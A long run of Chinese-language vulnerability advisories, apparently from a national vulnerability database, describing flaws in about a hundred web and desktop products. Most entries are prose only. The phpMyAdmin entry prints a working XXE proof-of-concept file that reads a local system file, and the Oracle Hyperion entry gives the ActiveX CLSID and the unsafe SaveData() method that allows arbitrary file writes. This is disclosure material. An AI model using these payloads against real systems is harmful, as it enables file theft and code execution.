Comm100 Forums存在URI重定向漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞注入外部的URI到应用程序的'重定向到此页'链接。当不知情受害者查看此页面时，会重定向到攻击者控制的站点。这有助于攻击者进行网络钓鱼攻击。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! 'com_estateagent'组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
enkai存在未明跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Jaws是一款动态构建WEB站点的内容管理系统。Jaws存在远程文件包含漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在Web服务器上下文中执行任意脚本代码或窃取敏感信息。
6KBBS是一个采用PHP+MySQL构建的高效能的论坛程序。6KBBS存在信息泄露漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获得潜在的敏感信息。
6KBBS是一个采用PHP+MySQL构建的高效能的论坛程序。6KBBS存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
GotoCode Online Classifieds存在安全绕过漏洞。攻击者可利用漏洞获得应用程序的管理访问权限，允许攻击者控制应用程序。
RoundCube Webmail是一个基于浏览器，支持多国语言的IMAP客户端。Roundcube webmail存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Directory Tree组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Dreambox是由德国Dream Multimedia公司生产的基于Linux的数字电视机顶盒。DreamBox DM800存在本地文件泄露漏洞，由于用户提供的输入没有经过充分的过滤，攻击者可通过file参数从运行有漏洞的应用程序的计算机的本地文件上获取潜在敏感信息，而且可能导致进一步的攻击。
ZenPhoto是一款相册软件。zenphoto Ajax文件管理器存在代码注入漏洞，由于通过任意POST参数传递到zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php的输入在被使用前未能正确过滤，攻击者可以利用漏洞执行任意PHP代码。
南极星Minismtp邮件软件和集成Minismtp应用程序的南极星全球通软件、文字处理软件中提供的Minismtp程序存在栈缓冲区溢出漏洞，攻击者可利用漏洞发起远程攻击。同时，当关闭南极星邮件客户端软件、文字处理软件时，后台的Minismtp程序进程默认存在。
CmyDocument中存在多个跨站脚本攻击漏洞。由于用户提供的数据没有经过充分过滤，攻击者可利用这些漏洞在受影响站点上下文的受信任用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书及发起其他攻击。
Jara 1.6及其他版本中存在多个SQL注入漏洞和跨站脚本攻击漏洞。由于用户提供的输入没有经过充分过滤，攻击者可利用这些漏洞窃取基于cookie的认证证书，并访问或修改数据。
WHMCS中存在本地文件包含漏洞。由于用户提供的输入未经充分过滤，攻击者可借助templatefile参数获取潜在敏感信息并在Web服务器进程中执行任意本地脚本，危害应用程序和计算机，以及其他可能的攻击。
CaupoShop是一款基于WEB的电子购物系统，由PHP实现，使用在Linux,windows或者其他Unix系统平台上。  CaupoShop中存在本地文件包含漏洞。由于用户提供的输入没有经过充分的过滤，攻击者可借助template参数在Web服务器进程上下文中获取潜在的敏感信息并执行任意本地脚本，可能危害应用程序和计算机，或其他可能的攻击。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Bonus主题1.0及其他版本中存在跨站脚本攻击漏洞。由于用户提供的输入没有经过正确的过滤，攻击者可借助s参数在受影响站点上下文的受信任用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书和发起其他的攻击。
Xenon存在多个SQL注入漏洞。由于程序在被用于SQL查询前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件teachPress存在多个本地文件包含漏洞。由于程序未能充分验证用户提供的输入，攻击者可以利用漏洞获取潜在的敏感信息并执行任意的本地脚本。
Minitube是一款桌面的YouTube客户端，用户可以不通过浏览器来观看YouTube网站上的视频。Minitube以不安全方式创建临时文件，本地攻击者可以利用漏洞执行符号链接攻击，在受影响的应用程序上下文覆盖任意文件。
CmyDocument Content Management存在SQL注入漏洞，由于传递到myDoclist.asp和myWebDoclist.asp中"x_Revised"参数的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
WHMCS是一套国外流行的域名主机管理软件，主要在用户管理、财务管理、域名接口、服务器管理面板接口等方面设计的非常人性化。WHMCS存在文件泄露漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞从本地文件获取潜在的敏感信息。
CmyDocument Content Management存在跨站脚本漏洞，由于传递到login.asp和login2.asp中"username"参数的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
WHMCS是一套国外流行的域名主机管理软件，主要在用户管理、财务管理、域名接口、服务器管理面板接口等方面设计的非常人性化。WHMCS存在本地文件包含漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在Web服务器进程的上下文中执行任意的本地脚本。
vBulletin是一款基于PHP的论坛程序。vBulletin Publishing Suite中提供的packages/vbcms/dm/section.php中实现的CMS功能存在未明错误，目前没有详细信息提供。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! JEEMA SMS组件存在跨站请求伪造漏洞，由于程序通过未执行任何有效检查的HTTP请求，执行某些操作，攻击者可以利用漏洞构建恶意链接，诱使登录用户点击。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg存在多个安全漏洞，允许恶意用户进行拒绝服务攻击，并可能以使用此库的安全上下文执行任意代码。构建特制的媒体内容，诱使用户的解析，可导致越界读写，两次释放，缓冲区溢出。
Barracuda Link Balancer是用于优化Internet连接的解决方案。Barracuda Link Balancer存在两个安全漏洞，恶意用户可利用此漏洞进行跨站脚本攻击。通过相关"Authoritative DNS - DNS Zones"模块的"zoneid"和"scope"参数传递的输入在返回用户之前缺少过滤，攻击者可以利用漏洞执行任意HTML和脚本代码，可以获得敏感信息或劫持用户会话。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! JEEMA SMS组件存在SQL注入漏洞，由于通过"groupid"参数传递到index.php (当"option"设置为"com_jeemasms" 、"view"和"task"设置为"groupsubscribe")的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! JEEMA SMS组件存在SQL注入漏洞，由于通过"filter_subsearch"参数传递到index.php (当"option"设置为"com_jeemasms"，"view"设置为"book"、"group"、"history"、"sender"、"keyword"、"smstemplate"、"csvsms"、"invoice"、"smsschedule"或"senderrequest")的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
HP Data Protector Media Operations是一款备份介质管理程序，追踪和管理离线存储媒介，能够执行用户定义的数据保存和回收策略，以确保媒介的安全并加强审计法规。HP Data Protector Media Operations不正确处理用户提交的超大报文，远程攻击者可以利用漏洞使'DBServer.exe'进程崩溃，可以以应用程序安全上下文执行任意代码。
SmartJobBoard存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
LabStore存在SQL注入漏洞。由于程序在被用于SQL查询前未能正确过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
IBM Rational Asset Manager是一款生命周期和策略管理解决方案。IBM Rational Asset Manager更改偏好时处理访问控制存在错误，远程攻击者可以利用漏洞修改其他用户的偏好。
IBM Rational Asset Manager是一款生命周期和策略管理解决方案。IBM Rational Asset Manager存在跨站脚本漏洞，由于未明输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
OrderSys存在SQL注入漏洞。由于程序在被用于SQL查询前未能正确过滤用户提供的数据，攻击者可以漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
XAMPP是一个适用于Linux、Windows、Mac OS X和Solaris的易于安装的Apache发行版。XAMPP存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Admin Bot存在SQL注入漏洞。由于程序在被用于SQL查询前未能正确过滤提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Calibre存在多个本地安全漏洞，包括：1.一个安全漏洞，允许攻击者创建ROOT权限目录。2.多重安全绕过漏洞。3.一个命令注入漏洞。4.一个本地特权提升漏洞。攻击者可以利用此漏洞攻击受影响的计算机，创建和删除任意目录，执行任意命令，并进行其他攻击。
Dominant Creature BBG RPG存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，窃取基于cookie的认证证书并发起其他攻击。
OcoMon存在多个未明SQL注入漏洞。由于应用程序在被用于SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
Boonex Dolphin是一款开源的SNS系统。Boonex Dolphin存在远程PHP代码注入漏洞，攻击者可以利用漏洞在受影响的应用程序上下文注入并执行任意PHP代码，控制应用程序和底层系统。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Bonus主题存在跨站脚本漏洞。由于传递到index.php中's'参数的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Site@School是一款基于PHP的WEB应用程序。Site@School存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Site@School是一款基于PHP的WEB应用程序。Site@School存在跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Light Pos存在远程文件包含漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
Microsoft Excel是一款微软开发的电子表格处理程序。Microsoft Excel 2003处理vbscript宏存在一个内存错误引用漏洞，攻击者构建恶意文件，诱使用户打开，可触发此漏洞，导致应用程序崩溃。
Mahara是一款开源的电子文件夹，网络日志，履历表生成器和社会化网络系统。Mahara MNet处理存在一个特权提升问题，远程攻击者可以利用漏洞获得高特权。
Linux是一款开放源代码的操作系统。Linux Kernel 'serial_multiport_struct'结构存在安全漏洞，允许本地攻击者获得敏感的内核信息。
TYPO3是一个免费开源的内容管理系统。TYPO3中T3blog扩展存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Radius Manager是一款计费系统软件。Radius Manager存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
DB2 Tools for z/OS是一款运行在z/OS平台上的，优化DB2数据性能和管理的工具。由于客户端应用生效(CAE)服务器存在安全漏洞，允许目录浏览器，远程攻击者可以利用漏洞获得敏感目录和文件名信息。
HP Data Protector Media Operations是一款备份介质管理程序，追踪和管理离线存储媒介，能够执行用户定义的数据保存和回收策略，以确保媒介的安全并加强审计法规。提交特制的opcode 0x10可进行目录遍历攻击，下载安装程序分区中的任意文件。
Barracuda Message Archiver是一款Email归档解决方案。Barracuda Message Archiver 'index.cgi'不正确过滤用户输入，可导致HTML注入攻击，攻击者利用此漏洞可获得目标用户敏感信息或劫持用户会话。
Hyperic HQ是一个开源的IT资源管理平台。  Hyperic HQ Enterprise 4.5.1及其他版本中存在跨站脚本攻击漏洞和多个未明安全漏洞。攻击者可利用跨站脚本攻击漏洞在受影响站点上下文不知情用户的浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。  Drupal的Hotblocks模块6.x-1.6之前的6.x-1.x版本中存在跨站请求伪造漏洞，访问安全绕过漏洞和跨站脚本攻击漏洞。攻击者可利用：  1、跨站请求伪造漏洞在用户会话上下文中执行未授权操作，还可能导致其他攻击；  2、攻击者可利用访问安全绕过漏洞绕过安全限制，并获取敏感信息，或者执行未授权操作，也可能发动进一步攻击；  3、攻击者可利用跨站脚本攻击漏洞在易受攻击的站点上下文中执行任意脚本代码，并窃取基于cookie的认证证书，并且发动其他攻击。
BestShopPro中存在跨站脚本攻击漏洞和SQL注入漏洞。由于用户提供的数据未经充分的过滤，攻击者可借助str参数窃取基于cookie的认证证书，并访问或者修改数据。
VMware ESX服务器是在通用环境下分区和整合系统的虚拟主机软件。VMware ESX Server在实现上存在多个安全漏洞，可被本地恶意用户利用泄露敏感信息、操作某些数据、绕过某些安全限制、执行欺骗攻击、执行DNS投毒攻击。
VMware vCenter是VMware vSphere套件中一个强大的主机和虚拟机集中管理组件。多个VMware vCenter产品在实现上存在多个漏洞，可被本地恶意用户利用泄露敏感信息、操作某些数据、绕过某些安全限制、执行欺骗攻击、执行DNS投毒攻击。
Ajax文件和图像管理器是一款动态网页式的文件图片管理工具。Ajax文件和图像管理器容易产生远程代码执行漏洞。攻击者可以利用这个问题获得远程主机的控制权，进而执行任意代码达到攻击的目的。          远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
Advanced Poll是一款基于PHP的投票程序，可以设置多个支持投票程序，可以设置随机显示。Advanced Poll中的comments.php脚本对用户提交的'id'或'template_set'或'action'的变量缺少过滤容易产生SQL注入漏洞。攻击者可以利用这个漏洞在受影响机器上执行任意代码，获取用户敏感信息包括PHP文件或者执行PHP代码。       远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
phpMyAdmin是一款基于PHP的MySQL管理程序。PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析，但是该函数中默认并没有处理好外部实体的安全性，导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源。libraries/import/xml.php中：unset($data);/** * Load the XML string * * The option LIBXML_COMPACT is specified because it can * result in increased performance without the need to * alter the code in any way. It's basically a freebee. */$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);unset($buffer);/** * The XML was malformed */if ($xml === FALSE) {可以使用系统中的import功能导入一个精心构造的xml文件:<?xml version="1.0" encoding="utf-8"?><!DOCTYPE wooyun [  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">]><!--- phpMyAdmin XML Dump- version 3.4.4- http://www.phpmyadmin.net-- 主机: localhost- 生成日期: 2011 年 11 月 01 日 14:56- 服务器版本: 5.1.28- PHP 版本: 5.2.6--><pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">    <!--    - Structure schemas    -->    <pma:structure_schemas>        <pma:database name="test" collation="utf8_general_ci" charset="utf8">            <pma:table name="ts_ad">                &hi80sec;            </pma:table>        </pma:database>    </pma:structure_schemas>    <!--    - 数据库: 'thinksns'    -->    <database name="thinksns">        <!-- 表 ts_ad -->    </database></pma_xml_export>来读写文件，系统错误信息会直接显示出文件内容。
Simple Free PHP论坛脚本存在SQL注入漏洞。由于应用程序在被用于SQL查询之前未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
VP-ASP Shopping Cart存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Bennet-Tec TList ActiveX Control存在安全漏洞，由于TList ActiveX control提供的不安全"SaveData()"方法，允许攻击者在当前登录用户上下文中创建或覆盖任意文件。
Piston和Tastypie存在远程执行代码漏洞。攻击者可以利用漏洞在受影响的应用程序上下文执行任意代码，上述攻击未执行成功也可导致系统拒绝服务。
BestShopPro存在跨站脚本漏洞。由于传递至nowosci.php中"str"参数的输入（当"a"被设置为"1"时）在被返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
eFront是一套在线学习系统。eFront存在跨站脚本漏洞,由于通过URL传递到www/index.php的输入在www/themes/default/templates/includes/blocks/login.tpl, www/themes/default/templates/includes/header_code.tpl, www/themes/default/templates/includes/blocks/cart.tpl, libraries/direction.class.php, www/themes/default/templates/index.tpl, and www/themes/default/templates/includes/closing.tp中被返回给用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Serendipity是一款PHP驱动的Weblog应用程序。Serendipity存在跨站脚本漏洞。由于传递至serendipity_admin_image_selector.php中"serendipity[filter][bp.ALT]"参数的输入在被返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Drupal是一款开源的内容管理平台。Hotblocks是Drupal的一个模块。Drupal Hotblocks模块存在安全绕过漏洞。应用程序在处理访问权限问题时发生了未明错误。目前没有详细信息提供。
DotNetNuke是一款开源的内容管理系统。应用程序没有正确过滤通过编辑器(editor)传递的输入，可被利用注入任意HTML和脚本代码，当恶意数据被查看时可在目标用户浏览器上下文执行，可获得敏感信息或劫持用户会话。由于5.5.0版本之后，DotNetNuke对所有用户使用了消息组件(Messageing)，可被用于创建持久型XSS。另外，注册页面上的密码字段已经调正，可防止由于浏览器"auto remember"功能而自动填充密码。
eFront是一套在线学习系统。eFront存在跨站脚本漏洞，由于通过'user'参数传递到www/administrator.php的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Citrix XenDesktop是一种桌面虚拟化解决方案。当执行虚拟桌面代理上的策略时客户端驱动映射实现存在一个错误，可导致用户可访问其他受限客户端驱动。要成功利用漏洞需要服务器端策略用于禁用客户端驱动映射。
Serv-U是一款FTP服务器，其中Web Client可用于图像和图片文件共享。部分传递给web client的输入在返回用户之前缺少过滤，可被利用执行任意HTML和脚本代码，可导致敏感信息泄露或劫持用户会话。
Drupal是一款开源的内容管理平台。Hotblocks是Drupal的一个模块。Drupal Hotblocks模块存在跨站请求伪造漏洞。由于应用程序的web页面允许用户通过HTTP请求执行某些操作而没有进行任何有效检查，攻击者可以利用漏洞通过诱使登陆用户访问恶意网站来执行未明操作。
Drupal是一款开源的内容管理平台。Hotblocks是Drupal的一个模块。Drupal Hotblocks模块存在跨站脚本漏洞。由于某些未明输入在被使用之前未能正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码。当恶意数据被查看时，在受影响的站点上下文的用户浏览器中执行任意代码。
Calibre是一款自由和开源的电子书管理应用程序。Calibre E-Book容易产生本地Root权限漏洞。攻击者可以利用这个问题在受影响的机器上以Root权限执行任意代码达到攻击的目的。
SetSeed是一款可以快速建造在线商用网站的软件。SetSeed存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
Drupal是一款开源的内容管理平台。Drupal的Views模块存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Attachmate Reflection是一款优秀的Unix终端仿真软件。Attachmate Reflection应用程序不安全装载部分库，攻击者构建恶意文件，放置在远程WebDAV和SMB共享，诱使用户打开，可导致以应用程序上下文装载任意库。
Microsoft Windows是一款流行的操作系统。Microsoft Windows内核存在一个安全问题，允许攻击者以内核上下文执行任意代码。Duqu知名木马的安装软件是一个Microsoft Word文档(.doc)，其利用了一个未知内核漏洞执行任意代码。当这个恶意word文件打开时，会执行恶意代码，并安装Duqu程序。
BackupPC是一款企业级Linux系统备份工具。BackupPC存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Vik Real Estate是Joomla!的一款管理类软件。Joomla Vik Real Estate组件1.0版本存在SQL盲注漏洞。攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。
Oracle Hyperion Financial Management软件是一个基于Web的综合企业绩效管理应用程序。以下程序：SystemInstaller-11121-win32.zipFoundationServices-11121-win32-Part1.zipFoundationServices-11121-win32-Part2.zipFoundationServices-11121-win32-Part3.zipFoundationServices-11121-win32-Part4.zipFoundationServices-11121-Part5.zipFoundationServices-11121-Part6.zipFoundationServices-11121-Part7.zipStaticContent-11121.zipRandAFoundation-11121.zipEPM_Architect-11121.zipHyperionFinancialManagement-11121.zip会安装如下设置的ActiveX控件：Binary Path: C:\WINDOWS\system32\TList6.ocxProgID: TList.TList.6CLSID: {65996200-3B87-11D4-A21F-00E029189826}Safe for Initialization (Registry): TrueSafe for Scripting (Registry): True其中相应的类包含不安全SaveData()方法：.../* DISPID=167 *//* VT_I2 [2] */function SaveData(/* VT_BSTR [8]  */ $lpszFileName ){}...允许以任意扩展如.hta在任意位置创建/覆盖文件。
JBoss是一套开源的企业级Java中间件系统，用于实现基于SOA的企业应用和服务。JBoss AS存在远程代码执行漏洞。攻击者可以利用这个漏洞在受影响的机器上执行任意代码，达到攻击的目的。
Symphony是一个采用PHP+MySQL开发的内容管理系统(CMS)。Symphony存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Symphony是一个采用PHP+MySQL开发的内容管理系统(CMS)。Symphony存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
IBSng存在跨站脚本漏洞。由于程序未能充分正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意脚本代码。允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
vBulletin是一款基于PHP的流行的论坛程序。vBulletin存在多个输入验证问题，允许攻击者包含任意文件，可以以应用程序上下文执行任意代码。
Domain Shop存在跨站脚本漏洞。由于程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书，并发起其他攻击。
CF Image Hosting Script存在跨站脚本漏洞。由于通过"q"参数传递至inc/tesmodrewite.php的输入在被返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件SmoothGallery存在任意文件上传漏洞。由于通过wp-content/plugins/smoothgallery/extra/resizer.php中的"src"参数传递的输入在被用于缓存文件之前未能正确验证，攻击者可以利用漏洞上传并执行任意PHP文件。
QtWeb是一款具有独特的用户界面和隐私功能的网络浏览器。QtWeb浏览器存在地址栏URL欺骗漏洞。由于应用程序未能显示请求位置的URL，攻击者可以利用漏洞在显示空白URL时，在新的窗口显示任意内容。
Barter Sites Joomla!组件存在多个HTML注入漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
ezCourses存在多个安全绕过漏洞。由于应用程序未能对admin/add_admin.asp和admin/admin_db.asp脚本的访问进行正确限制，攻击者可以利用漏洞添加管理账户并编辑该账户的个人资料。
WordPress是一款使用PHP语言开发的内容管理系统。漏洞出现在WP Glossary插件上，因为它未能对用户提交的SQL查询数据做充分的审查。此漏洞允许攻击者破坏应用程序，访问或修改数据，或间接利用底层数据库中潜在的漏洞。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla组件Alameda (com_alameda)由于对用户的输入没有进行充分限制容易产生SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
jbShop是E107 V7 CMS的PayPal购物车插件，它使用“网站付款标准”的功能和PayPal购物车。漏洞出现在CMS插件上，因为它未能对用户提交的SQL查询数据做充分的审查。允许攻击者破坏应用程序，访问或修改数据，或间接利用底层数据库中潜在的漏洞。
ProjectForum是一款基于WEB的项目管理论坛程序。ProjectForum存在脚本注入漏洞。当重命名页面时，通过"newname"参数传递的输入在被显示给用户之前未能正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码，并在恶意数据被查看时，在受影响的站点上下文的用户浏览器会话中执行。
Radfa Sabadkharid存在任意文件上传漏洞。由于wysiwyg/editor/filemanager/upload/php/upload.php脚本未能正确验证上传文件的类型，攻击者可以利用漏洞通过上传的PHP文件来执行任意PHP代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Classipress主题存在多个HTML注入漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行HTML和脚本代码，窃取基于Cookie的身份验证凭据，控制网站如何呈现给用户。
Megatops YaTFTPSvr是一款简单的TFTP服务器，支持嵌入系统和网络设备升级。YaTFTPSvr TFTP服务器不正确处理包含目录遍历序列的文件名，攻击者可以利用漏洞获得系统敏感文件信息。
Squid Web Proxy Cache是一款免费，开放源代码的代理服务器。Squid Web代理服务器处理DNS请求存在一个非法释放缺陷，如果其中一个CNAME记录指向另一个指向空A记录的CNAME记录，远程攻击者就可以触发此漏洞，对服务程序进行拒绝服务攻击，可导致守护程序崩溃。
SKYARC System是WEB技术集成商，提供企业BLOG等解决方案。MTCMS和多个SKYARC System公司提供的Movable Type插件没有正确限制访问权限，远程攻击者利用漏洞访问权限更改设置和文件。
PROMOTIC是一款SCADA软件。PmTable.ocx ActiveX(19BA6EE6-4BB4-11D1-8085-0020AFC8C4AF)控件不正确处理GetPromoticSite方法，远程攻击者可以利用漏洞通过未初始化指针漏洞执行任意代码。
Oracle Hyperion Enterprise Performance Management是一款企业绩效管理软件。当解析数据库连接字符串时arsqls24.dll存在边界错误，诱使用户打开特制的Hyperion Interactive Reporting Studio (.oce)文件，可触发基于栈的缓冲区溢出，成功利用漏洞可导致任意代码执行。
GFI Faxmaker是一款传真服务器。GFI Faxmaker不正确处理传真文件，攻击者构建恶意.fax文件，诱使应用程序处理，可触发除零错误，导致应用程序崩溃。
Mail.app是一款运行在Apple Mac OS X和Apple iOS上的邮件客户端。发送大于2023 MIME附件的邮件给目标客户端，当解析此邮件时，可导致邮件客户端崩溃。由于客户端Email存放在邮件服务器上，因此下次启动时再次解析此邮件又会导致崩溃，造成拒绝服务攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Cover WP主题存在跨站脚本漏洞。由于通过"s"参数传递至index.php的输入在返回至用户前未被正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Plesk是用于管理站点的综合控制面板解决方案。Parallels Plesk Panel存在SQL注入漏洞。由于某些未明输入在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Plesk是用于管理站点的综合控制面板解决方案。Parallels Plesk Panel存在跨站脚本漏洞。由于某些未明输入在被返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
MyNews是一款为新闻设计的脚本。Magtrb MyNews存在文件包含漏洞。由于通过"basename"参数传递至includes/tiny_mce/plugins/filemanager/classes/FileManager/FileSystems/ZipFileImpl.php,includes/tiny_mce/plugins/filemanager/classes/FileManager/FileManagerPlugin.php,includes/tiny_mce/plugins/filemanager/classes/FileSystems/RootFileImpl.php,includes/tiny_mce/plugins/imagemanager/classes/ImageManager/ImageManagerPlugin.php和includes/tiny_mce/plugins/filemanager/classes/CorePlugin.php的输入在被用于包含文件之前未能正确验证，攻击者可以利用漏洞包含来自本地和外部资源的任意文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Popular Posts存在任意文件上传漏洞。由于通过wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php中"src"参数传递的输入在被用于缓存文件之前未能正确验证，攻击者可以利用漏洞上传和执行任意PHP文件。
Digital College存在多个文件包含漏洞。由于通过"basepath"参数传递至includes/tiny_mce/plugins/imagemanager/config.php, includes/tiny_mce/plugins/filemanager/classes/FileManager/FileSystems/ZipFileImpl.php, includes/tiny_mce/plugins/filemanager/classes/FileManager/FileManagerPlugin.php, includes/tiny_mce/plugins/filemanager/classes/FileSystems/RootFileImpl.php和includes/tiny_mce/plugins/imagemanager/classes/ImageManager/ImageManagerPlugin.php的输入在被用于包含文件之前未能正确验证，攻击者可以利用漏洞包含来自本地或外部资源的任意文件。
Vaadin是一个RIA的基于浏览器的富客户端的Web框架。 Vaadin存在安全漏洞。由于传递至多种UI组件的"src"属性(例如，"VView", "Embedded", "VMenuBar", "VWindow", "Action", 和"VFilterSelect")的输入在使用前未能正确过滤，当恶意数据被查看时，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
